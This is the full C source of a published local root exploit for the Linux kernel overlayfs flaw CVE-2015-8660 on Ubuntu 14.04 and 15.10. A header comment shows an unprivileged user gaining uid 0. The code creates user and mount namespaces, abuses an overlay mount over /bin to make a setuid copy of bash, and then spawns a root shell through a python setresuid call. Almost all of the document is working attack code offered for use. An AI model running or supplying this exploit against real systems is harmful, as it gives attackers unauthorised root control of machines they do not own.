Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1)

/*
just another overlayfs exploit, works on kernels before 2015-12-26

# Exploit Title: overlayfs local root
# Date: 2016-01-05
# Exploit Author: rebel
# Version: Ubuntu 14.04 LTS, 15.10 and more
# Tested on: Ubuntu 14.04 LTS, 15.10
# CVE : CVE-2015-8660

blah@ubuntu:~$ id
uid=1001(blah) gid=1001(blah) groups=1001(blah)
blah@ubuntu:~$ uname -a && cat /etc/issue
Linux ubuntu 3.19.0-42-generic #48~14.04.1-Ubuntu SMP Fri Dec 18 10:24:49 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 14.04.3 LTS \n \l
blah@ubuntu:~$ ./overlayfail
root@ubuntu:~# id
uid=0(root) gid=1001(blah) groups=0(root),1001(blah)

12/2015
by rebel

6354b4e23db225b565d79f226f2e49ec0fe1e19b
*/

#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#include <sys/wait.h>

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    system("rm -rf /tmp/haxhax");
    mkdir("/tmp/haxhax", 0777);
    mkdir("/tmp/haxhax/w", 0777);
    mkdir("/tmp/haxhax/u",0777);
    mkdir("/tmp/haxhax/o",0777);

    if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
	fprintf(stderr,"mount failed..\n");
    }

    chmod("/tmp/haxhax/w/work",0777);
    chdir("/tmp/haxhax/o");
    chmod("bash",04755);
    chdir("/");
    umount("/tmp/haxhax/o");
    return 0;
}

int
main(int argc, char **argv)
{
    int status;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
    struct stat s;

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    stat("/tmp/haxhax/u/bash",&s);

    if(s.st_mode == 0x89ed)
        execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);

    fprintf(stderr,"couldn't create suid :(\n");
    return -1;
}